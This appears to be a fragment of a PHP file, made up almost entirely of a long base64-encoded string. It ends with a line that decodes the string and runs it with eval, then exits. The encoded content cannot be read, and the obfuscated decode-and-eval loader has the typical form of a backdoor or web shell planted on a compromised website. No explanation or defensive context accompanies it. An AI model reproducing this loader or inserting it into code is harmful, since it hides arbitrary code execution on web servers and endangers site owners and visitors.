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"; eval(htmlspecialchars_decode(urldecode(base64_decode($xD)))); exit; ?>